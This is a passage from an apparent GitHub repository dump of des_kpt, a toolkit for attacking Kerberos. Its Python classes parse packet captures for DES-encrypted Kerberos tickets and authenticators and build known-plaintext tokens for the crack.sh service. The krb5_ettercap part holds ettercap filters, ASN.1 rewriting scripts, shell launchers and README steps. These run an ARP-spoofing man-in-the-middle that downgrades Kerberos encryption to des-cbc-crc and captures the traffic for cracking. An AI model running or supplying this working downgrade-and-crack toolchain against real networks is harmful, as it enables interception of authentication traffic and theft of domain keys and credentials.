| 76 | if not ciphertext: 77 | self.printError("Missing ciphertext (-c)") 78 | 79 | ciphertext = binascii.unhexlify(ciphertext.replace(":", "")) 80 | 81 | if len(ciphertext) != 8: 82 | self.printError("Invalid ciphertext length %d" % len(ciphertext)) 83 | 84 | return ciphertext 85 | 86 | def _getEncrypt(self): 87 | return self._containsOption("-e") 88 | 89 | def _printParameters(self, plaintext, mask, iv, pi, ciphertext, ci, key, key_parity, encrypt): 90 | if plaintext is not None: 91 | print " PT = %s" % plaintext.encode("hex") 92 | if mask is not None: 93 | print " M = %s" % mask.encode("hex") 94 | if iv is not None: 95 | print " IV = %s" % iv.encode("hex") 96 | if pi is not None: 97 | print " PT+IV = %s" % pi.encode("hex") 98 | if ciphertext is not None: 99 | print " CT = %s" % ciphertext.encode("hex") 100 | if ci is not None: 101 | print " CT+IV = %s" % ci.encode("hex") 102 | if key is not None: 103 | print " K = %s" % key.encode("hex") 104 | 105 | if key is not None: 106 | print " KP = %s" % key_parity.encode("hex") 107 | 108 | if encrypt is not None: 109 | print " E = %d" % encrypt 110 | 111 | if plaintext is not None and mask is not None and ciphertext is not None: 112 | print "crack.sh Submission = $%s$%s" % ("97" if encrypt else "98", base64.b64encode("%s%s%s" % (plaintext, mask, ciphertext))) 113 | 114 | @staticmethod 115 | def printHelp(): 116 | print( 117 | """Parses arguments and creates a crack.sh submission token. 118 | 119 | parse 120 | 121 | Arguments: 122 | -p <plaintext> : The known plaintext value in hexidecimal format 123 | -m <mask> : The known plaintext mask in hexidecimal format 124 | -c <ciphertext> : The known ciphertext value in hexidecimal format 125 | """) 126 | -------------------------------------------------------------------------------- /des_kpt/commands/ParseCommand.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/h1kari/des_kpt/d3b720a41edc679df204dfd45f30fa9971027779/des_kpt/commands/ParseCommand.pyc -------------------------------------------------------------------------------- /des_kpt/commands/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = "David Hulton" 2 | __license__ = "BSD" 3 | __copyright__ = "Copyright 2016, David Hulton" 4 | -------------------------------------------------------------------------------- /des_kpt/commands/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/h1kari/des_kpt/d3b720a41edc679df204dfd45f30fa9971027779/des_kpt/commands/__init__.pyc -------------------------------------------------------------------------------- /des_kpt/packets/KerbPacket.py: -------------------------------------------------------------------------------- 1 | """ 2 | A class to encapsulate and parse a Kerberos Packet. 3 | """ 4 | 5 | import sys 6 | import binascii 7 | import base64 8 | import datetime 9 | from itertools import cycle 10 | 11 | __author__ = "David Hulton" 12 | __license__ = "BSD" 13 | __copyright__ = "Copyright 2016, David Hulton" 14 | 15 | class KerbPacket: 16 | 17 | def __init__(self, asn, src, dst, rep, cname, crealm, tname, trealm, enc, is_ticket, timestamp): 18 | self.asn = asn 19 | self.src = src 20 | self.dst = dst 21 | self.rep = rep 22 | self.cname = cname 23 | self.crealm = crealm 24 | self.tname = tname 25 | self.trealm = trealm 26 | self.enc = enc 27 | self.is_ticket = is_ticket 28 | self.mask = str() 29 | self.timestamp = timestamp 30 | self.pt = self._calcPT() 31 | 32 | def getServerAddress(self): 33 | return self.dst 34 | 35 | def getClientAddress(self): 36 | return self.src 37 | 38 | def getRep(self): 39 | return self.rep 40 | 41 | def getCRealm(self): 42 | return self.crealm 43 | 44 | def getCName(self): 45 | return self.cname 46 | 47 | def getTRealm(self): 48 | return self.trealm 49 | 50 | def getTName(self): 51 | return self.tname 52 | 53 | def getEnc(self): 54 | return self.enc 55 | 56 | def getIsTicket(self): 57 | return self.is_ticket 58 | 59 | def getCiphertext(self): 60 | return self.enc[16:24] 61 | 62 | def _getKPTAuth(self): 63 | kpt = str() 64 | 65 | now = datetime.datetime.utcfromtimestamp(self.timestamp) 66 | month = "%02d" % now.month 67 | kpt_str = "180f32303%s3%s3%s3%s" % (str(now.year)[2], str(now.year)[3], month[0], month[1]) 68 | kpt = binascii.unhexlify(kpt_str) 69 | 70 | self.mask = binascii.unhexlify("ffffffffffffffff"); 71 | 72 | return kpt 73 | 74 | def _getKPTTicket(self): 75 | # take encrypted length, subtract: 76 | # Confounder - 8 77 | # CRC - 4 78 | # ASN.1 header - 3 79 | # Padding - 8 80 | # then mask off lower 3 bits to get known 5 bits 81 | enc_len = len(self.enc) & 0xff8 82 | enc_len_min = enc_len-23 83 | enc_len_max = enc_len-16 84 | 85 | # We'll figure out a way to gracefully create 2 tokens for cracking both cases in this situation, but for now throw an error 86 | if enc_len_max < 128: 87 | kpt_str = "00a0070305000000" 88 | mask_str = "80ffffffffffff00" 89 | elif enc_len_min >= 256 and enc_len_max < 512: 90 | kpt_str = "8200000a07030500" 91 | mask_str = "fffe000fffffffff" 92 | elif enc_len_min >= 128 and enc_len_max < 256: 93 | kpt_str = "8180a00703050000" 94 | mask_str = "ff80ffffffffffff" 95 | else: 96 | raise ValueError("length of ticket creates unknown condition for predicting known plaintext.") 97 | 98 | kpt = binascii.unhexlify(kpt_str) 99 | self.mask = binascii.unhexlify(mask_str) 100 | 101 | return kpt 102 | 103 | def _getKPTTGS(self): 104 | # take encrypted length, subtract: 105 | # Confounder - 8 106 | # CRC - 4 107 | # ASN.1 header - 3 108 | # Padding - 8 109 | # then mask off lower 3 bits to get known 5 bits 110 | enc_len = len(self.enc) & 0xff8 111 | enc_len_min = enc_len-23 112 | enc_len_max = enc_len-16 113 | 114 | # We'll figure out a way to gracefully create 2 tokens for cracking both cases in this situation, but for now throw an error 115 | if enc_len_max < 128: 116 | kpt_str = "00a0133011a00302" 117 | mask_str = "80ffffffffffffff" 118 | elif enc_len_min >= 256 and enc_len_max < 512: 119 | kpt_str = "820000a0133011a0" 120 | mask_str = "fffe000fffffffff" 121 | elif enc_len_min >= 128 and enc_len_max < 256: 122 | kpt_str = "8180a0133011a003" 123 | mask_str = "ff80ffffffffffff" 124 | else: 125 | raise ValueError("length of ticket creates unknown condition for predicting known plaintext.") 126 | 127 | kpt = binascii.unhexlify(kpt_str) 128 | self.mask = binascii.unhexlify(mask_str) 129 | 130 | return kpt 131 | 132 | def _calcPT(self): 133 | c2 = self.enc[8:16] 134 | kpt = str() 135 | 136 | if self.rep == 10 or self.rep == 12: 137 | kpt = self._getKPTAuth() 138 | 139 | elif self.rep == 11 or self.rep == 13: 140 | if self.is_ticket: 141 | kpt = self._getKPTTicket() 142 | else: 143 | kpt = self._getKPTTGS() 144 | 145 | # pt = (c2 ^ kpt) & m 146 | c2_kpt = ''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(c2, kpt)) 147 | pt = ''.join(chr(ord(c1) & ord(c2)) for c1, c2 in zip(c2_kpt, self.mask)) 148 | return pt 149 | 150 | def getPlaintext(self): 151 | return self.pt; 152 | 153 | def getMask(self): 154 | return self.mask; 155 | 156 | def getHash(self): 157 | return base64.b64encode("%s%s%s%s%s%s%s%s%d" % (self.src, self.dst, self.rep, self.cname, self.crealm, self.tname, self.trealm, self.enc, self.is_ticket)); 158 | -------------------------------------------------------------------------------- /des_kpt/packets/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = "David Hulton" 2 | __license__ = "BSD" 3 | __copyright__ = "Copyright 2016, David Hulton" 4 | -------------------------------------------------------------------------------- /des_kpt/readers/KerbPacketReader.py: -------------------------------------------------------------------------------- 1 | """ 2 | Given a packet capture, this class will iterate over 3 | the Kerberos packets in that capture. 4 | """ 5 | 6 | from des_kpt.packets.KerbPacket import KerbPacket 7 | from des_kpt.readers.PacketReader import PacketReader 8 | from pyasn1.codec.ber import decoder 9 | from pyasn1.type import univ 10 | from impacket.krb5.asn1 import AS_REQ, AP_REQ, TGS_REQ, AS_REP, AP_REP, TGS_REP, EncryptedData 11 | from impacket.krb5 import constants 12 | from impacket.krb5.crypto import Enctype 13 | 14 | __author__ = "David Hulton" 15 | __license__ = "BSD" 16 | __copyright__ = "Copyright 2016, David Hulton" 17 | 18 | import socket 19 | import dpkt 20 | 21 | class KerbPacketReader(PacketReader): 22 | 23 | def __init__(self, capture): 24 | PacketReader.__init__(self, capture) 25 | 26 | def _getPrinc(self, princ): 27 | if princ is None: 28 | return None 29 | 30 | ns = princ['name-string'] 31 | 32 | try: 33 | return ns[0] +"/"+ ns[1] 34 | except: 35 | return ns[0] 36 | 37 | def _parseForREQ(self, timestamp, asn_data, ip_packet): 38 | # decode data just to parse to see if it's a KDC_REQ packet 39 | try: 40 | asn = decoder.decode(asn_data)[0] 41 | if asn[0] != 5: 42 | return None 43 | except: 44 | return None 45 | 46 | # check to see if it's an AS_REQ or TGS_REQ 47 | if asn[1] != constants.ApplicationTagNumbers.AS_REQ.value and asn[1] != constants.ApplicationTagNumbers.TGS_REQ.value: 48 | return None 49 | 50 | # try decoding (both AS_REQ and TGS_REQ are KDC_REQ packets) 51 | try: 52 | req = decoder.decode(asn_data, asn1Spec = AS_REQ())[0] 53 | except: 54 | req = decoder.decode(asn_data, asn1Spec = TGS_REQ())[0] 55 | 56 | crealm = req['req-body']['realm'] 57 | cname = self._getPrinc(req['req-body']['cname']) 58 | trealm = req['req-body']['realm'] 59 | tname = self._getPrinc(req['req-body']['sname']) 60 | 61 | for padata in req['padata']: 62 | # extract encrypted authenticators from AS_REQ packets 63 | if padata['padata-type'] == constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value: 64 | auth = decoder.decode(padata['padata-value'], asn1Spec = EncryptedData())[0] 65 | if auth['etype'] == Enctype.DES_CRC: 66 | cenc = str(auth['cipher']) 67 | 68 | # extract encrypted ticket data from TGS_REQ packets 69 | if padata['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value: 70 | asn1 = decoder.decode(padata['padata-value'])[0] 71 | 72 | if asn1[0] != 5 or asn1[1] != 14: 73 | return None 74 | 75 | ap = decoder.decode(padata['padata-value'], asn1Spec = AP_REQ())[0] 76 | trealm = ap['ticket']['realm'] 77 | tname = self._getPrinc(ap['ticket']['sname']) 78 | 79 | if ap['authenticator']['etype'] == Enctype.DES_CRC: 80 | cenc = str(ap['authenticator']['cipher']) 81 | 82 | if ap['ticket']['enc-part']['etype'] == Enctype.DES_CRC: 83 | tenc = str(ap['ticket']['enc-part']['cipher']) 84 | 85 | try: 86 | tenc_packet = KerbPacket(asn, 87 | socket.inet_ntoa(ip_packet.src), 88 | socket.inet_ntoa(ip_packet.dst), asn[1], 89 | cname, crealm, tname, trealm, tenc, 1, timestamp) 90 | except: 91 | tenc_packet = None 92 | 93 | try: 94 | cenc_packet = KerbPacket(asn, 95 | socket.inet_ntoa(ip_packet.src), 96 | socket.inet_ntoa(ip_packet.dst), asn[1], 97 | cname, crealm, tname, trealm, cenc, 0, timestamp) 98 | except: 99 | cenc_packet = None 100 | 101 | return tenc_packet, cenc_packet 102 | 103 | 104 | 105 | def _parseForREP(self, timestamp, asn_data, ip_packet): 106 | # check to see if it's KRB packet 107 | try: 108 | asn = decoder.decode(asn_data)[0] 109 | if asn[0] != 5: 110 | return None 111 | except: 112 | return None 113 | 114 | # check to see if it's an AS_REP or TGS_REP 115 | if asn[1] != constants.ApplicationTagNumbers.AS_REP.value and asn[1] != constants.ApplicationTagNumbers.TGS_REP.value: 116 | return None 117 | 118 | # try decoding (both AS_REP and TGS_REP are KDC_REP packets) 119 | try: 120 | rep = decoder.decode(asn_data, asn1Spec = AS_REP())[0] 121 | except: 122 | rep = decoder.decode(asn_data, asn1Spec = TGS_REP())[0] 123 | 124 | 125 | crealm = rep['crealm'] 126 | cname = self._getPrinc(rep['cname']) 127 | trealm = rep['ticket']['realm'] 128 | tname = self._getPrinc(rep['ticket']['sname']) 129 | 130 | if rep['ticket']['enc-part']['etype'] == Enctype.DES_CRC: 131 | tenc = str(rep['ticket']['enc-part']['cipher']) 132 | 133 | if rep['enc-part']['etype'] == Enctype.DES_CRC: 134 | cenc = str(rep['enc-part']['cipher']) 135 | 136 | try: 137 | tenc_packet = KerbPacket(asn, 138 | socket.inet_ntoa(ip_packet.src), 139 | socket.inet_ntoa(ip_packet.dst), asn[1], 140 | cname, crealm, tname, trealm, tenc, 1, timestamp) 141 | except: 142 | tenc_packet = None 143 | 144 | try: 145 | cenc_packet = KerbPacket(asn, 146 | socket.inet_ntoa(ip_packet.src), 147 | socket.inet_ntoa(ip_packet.dst), asn[1], 148 | cname, crealm, tname, trealm, cenc, 0, timestamp) 149 | except: 150 | cenc_packet = None 151 | 152 | return tenc_packet, cenc_packet 153 | 154 | def _parseForTargetPacket(self, timestamp, data): 155 | eth_packet = dpkt.ethernet.Ethernet(data) 156 | 157 | if isinstance(eth_packet.data, dpkt.ip.IP): 158 | ip_packet = eth_packet.data 159 | 160 | # check to see if packet is an AS-REP or TGS-REP 161 | asn_data = None 162 | test_rep = False 163 | test_req = False 164 | if ip_packet.get_proto(ip_packet.p) == dpkt.tcp.TCP and hasattr(ip_packet.data, 'data'): 165 | tcp_packet = ip_packet.data 166 | asn_data = tcp_packet.data[4:] 167 | 168 | if tcp_packet.sport == 88: 169 | test_rep = True 170 | elif tcp_packet.dport == 88: 171 | test_req = True 172 | 173 | if ip_packet.get_proto(ip_packet.p) == dpkt.udp.UDP and hasattr(ip_packet.data, 'data'): 174 | udp_packet = ip_packet.data 175 | asn_data = udp_packet.data 176 | 177 | if udp_packet.sport == 88: 178 | test_rep = True 179 | elif udp_packet.dport == 88: 180 | test_req = True 181 | 182 | if test_rep: 183 | return self._parseForREP(timestamp, asn_data, ip_packet) 184 | 185 | if test_req: 186 | return self._parseForREQ(timestamp, asn_data, ip_packet) 187 | 188 | return None 189 | 190 | 191 | -------------------------------------------------------------------------------- /des_kpt/readers/PacketReader.py: -------------------------------------------------------------------------------- 1 | """ 2 | Base packet reader implementation. Will iterate over packets 3 | specified by a subclass. 4 | """ 5 | 6 | import dpkt 7 | 8 | __author__ = "Moxie Marlinspike" 9 | __license__ = "GPLv3" 10 | __copyright__ = "Copyright 2012, Moxie Marlinspike" 11 | 12 | class PacketReader: 13 | 14 | def __init__(self, capture): 15 | self.capture = capture 16 | self.reader = dpkt.pcap.Reader(capture) 17 | self.seen = {} 18 | 19 | def __iter__(self): 20 | for timestamp, data in self.reader: 21 | packets = self._parseForTargetPacket(timestamp, data) 22 | 23 | if packets: 24 | packet1, packet2 = packets 25 | 26 | if packet1 is not None: 27 | if packet1.getHash() not in self.seen: 28 | yield packet1 29 | self.seen[packet1.getHash()] = 1 30 | 31 | if packet2 is not None: 32 | if packet2.getHash() not in self.seen: 33 | yield packet2 34 | self.seen[packet2.getHash()] = 1 35 | 36 | def _parseForTargetPacket(self, data): 37 | assert False 38 | -------------------------------------------------------------------------------- /des_kpt/readers/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = "David Hulton" 2 | __license__ = "BSD" 3 | __copyright__ = "Copyright 2016, David Hulton" 4 | -------------------------------------------------------------------------------- /krb5_ettercap/README.md: -------------------------------------------------------------------------------- 1 | krb5_ettercap 2 | ------------- 3 | 4 | I've provided a couple of ettercap filters for downgrading kerberos to `des-cbc-crc`. Once `des-cbc-md5` support is added to `des_kpt`, it should be trival to change the python scripts to downgrade to `des-cbc-md5` instead, but it doesn't seem to be as common as `des-cbc-crc`. 5 | 6 | It's recommended that you use the `*-asreq.*` scripts as they're the most reliable at this point. 7 | 8 | The `*-preauth.*` scripts require adjusting the packet size which can cause issues with tcp MITM with ettercap and needs some more work. 9 | 10 | **Running the downgrade attack** 11 | 12 | First edit the `krb5-downgrade-asreq.sh` file to specify the `KDC`, `TARGET`, and `ETH` adapter: 13 | 14 | ``` 15 | $ vi krb5-downgrade-asreq.sh 16 | 17 | ... 18 | export KDC="192.168.1.11" 19 | export TARGET="192.168.1.27" 20 | export ETH="enp0s3" 21 | ... 22 | ``` 23 | 24 | Then just run the script: 25 | 26 | ``` 27 | $ ./krb5-downgrade-asreq.sh 28 | ``` 29 | 30 | This will MITM the connection between the `KDC` and `TARGET` and replace the supported encryption types in all of the `TARGET` -> `KDC` `AS-REQ` packets with `des-cbc-crc` and should downgrade all encrypted communication (TGS, Authenticators, etc) to `des-cbc-crc` and log it to `/tmp/ettercap.pcap` which you can then use to crack using `des_kpt`: 31 | 32 | ``` 33 | $ cd .. 34 | $ ./des_kpt.py kerb -i /tmp/ettercap.pcap 35 | ``` 36 | 37 | See `../README.md` for more detailed usage of `des_kpt.py`. 38 | -------------------------------------------------------------------------------- /krb5_ettercap/krb5-downgrade-asreq.filter: -------------------------------------------------------------------------------- 1 | if (tcp.dst == 88 && search(DATA.data, "\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\x0a")) { 2 | log(DATA.data, "/tmp/payload"); 3 | drop(); 4 | execinject("/usr/bin/python /tmp/krb5-downgrade-asreq.py /tmp/payload"); 5 | } 6 | -------------------------------------------------------------------------------- /krb5_ettercap/krb5-downgrade-asreq.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """A tool for rewriting a AS-REQ packet to downgrade to des-cbc-crc""" 4 | 5 | import os 6 | import sys 7 | from pyasn1.codec.ber import decoder 8 | from pyasn1.codec.der import encoder 9 | from pyasn1.type import univ 10 | 11 | __author__ = "David Hulton" 12 | __license__ = "BSD" 13 | __copyright__ = "Copyright 2016, David Hulton" 14 | 15 | def main(argv): 16 | try: 17 | infile = argv[0] 18 | except: 19 | print "usage: ./krb5-downgrade-asreq.py <infile>" 20 | sys.exit(0) 21 | 22 | fin = open(infile, 'r') 23 | 24 | data = fin.read() 25 | data_len = len(data) 26 | fin.close() 27 | 28 | krb_preauth_req, temp = decoder.decode(data[4:]) 29 | 30 | for i in range(0, len(krb_preauth_req[3][7])): 31 | krb_preauth_req[3][7][i] = univ.Integer(1) 32 | 33 | payload_out = data[:4] 34 | payload_out += encoder.encode(krb_preauth_req) 35 | 36 | # log what we're doing 37 | fout = open(infile +".in", "w") 38 | fout.write(data) 39 | fout.close() 40 | 41 | fout = open(infile +".out", "w") 42 | fout.write(payload_out) 43 | fout.close() 44 | 45 | sys.stdout.write(payload_out) 46 | os.remove(infile) 47 | 48 | if __name__ == '__main__': 49 | main(sys.argv[1:]) 50 | -------------------------------------------------------------------------------- /krb5_ettercap/krb5-downgrade-asreq.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | export KDC="192.168.1.11" 4 | export TARGET="192.168.1.27" 5 | export ETH="enp0s3" 6 | 7 | cp krb5-downgrade-asreq.py /tmp 8 | etterfilter krb5-downgrade-asreq.filter -o krb5-downgrade-asreq.ef 9 | sudo ettercap -T -M arp:remote -i $ETH -F krb5-downgrade-asreq.ef /$KDC// /$TARGET// -w /tmp/ettercap.pcap |tee /tmp/ettercap.log 10 | -------------------------------------------------------------------------------- /krb5_ettercap/krb5-downgrade-preauth.filter: -------------------------------------------------------------------------------- 1 | if (tcp.src == 88 && search(DATA.data, "\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e")) { 2 | msg("downgrade start"); 3 | log(DATA.data, "/tmp/payload"); 4 | drop(); 5 | execinject("/usr/bin/python /tmp/krb5-downgrade-preauth.py /tmp/payload"); 6 | msg("downgraded stop"); 7 | } 8 | -------------------------------------------------------------------------------- /krb5_ettercap/krb5-downgrade-preauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """A tool for rewriting a KRB5KDC_ERR_PREAUTH_REQUIRED packet to downgrade to des-cbc-crc""" 4 | 5 | import os 6 | import sys 7 | from pyasn1.codec.ber import decoder 8 | from pyasn1.codec.der import encoder 9 | from pyasn1.type import univ 10 | 11 | __author__ = "David Hulton" 12 | __license__ = "BSD" 13 | __copyright__ = "Copyright 2016, David Hulton" 14 | 15 | def main(argv): 16 | try: 17 | infile = argv[0] 18 | except: 19 | print "usage: ./krb5-downgrade-preauth.py <infile>" 20 | sys.exit(0) 21 | 22 | fin = open(infile, 'r') 23 | 24 | data = fin.read() 25 | data_len = len(data) 26 | fin.close() 27 | 28 | krb_preauth_req, temp = decoder.decode(data[4:]) 29 | padata_seq, temp = decoder.decode(krb_preauth_req[7]) 30 | 31 | new_enctype_info = univ.Sequence() 32 | for padata in padata_seq: 33 | if padata[0] == 19: 34 | enctype_info, temp = decoder.decode(padata[1]) 35 | for enctype in enctype_info: 36 | if enctype[0] == 1: 37 | new_enctype_info.setComponentByPosition(0, enctype) 38 | padata[1] = univ.OctetString(encoder.encode(new_enctype_info)) 39 | 40 | krb_preauth_req[7] = univ.OctetString(encoder.encode(padata_seq)) 41 | 42 | payload_out = data[:4] 43 | payload_out += encoder.encode(krb_preauth_req) 44 | #payload_out = str(payload_out).ljust(data_len, '\0') 45 | 46 | 47 | # log what we're doing 48 | fout = open(infile +".in", "w") 49 | fout.write(data) 50 | fout.close() 51 | 52 | fout = open(infile +".out", "w") 53 | fout.write(payload_out) 54 | fout.close() 55 | 56 | sys.stdout.write(payload_out) 57 | os.remove(infile) 58 | 59 | if __name__ == '__main__': 60 | main(sys.argv[1:]) 61 | -------------------------------------------------------------------------------- /krb5_ettercap/krb5-downgrade-preauth.sh: -------------------------------------------------------------------------------- 1 | cp krb5-downgrade-preauth.py /tmp 2 | etterfilter krb5-downgrade-preauth.filter -o krb5-downgrade-preauth.ef 3 | sudo ettercap -T -M arp:remote -i enp0s3 -F krb5-downgrade-preauth.ef /192.168.1.11// /192.168.1.27// |tee /tmp/ettercap.log 4 | --------------------------------------------------------------------------------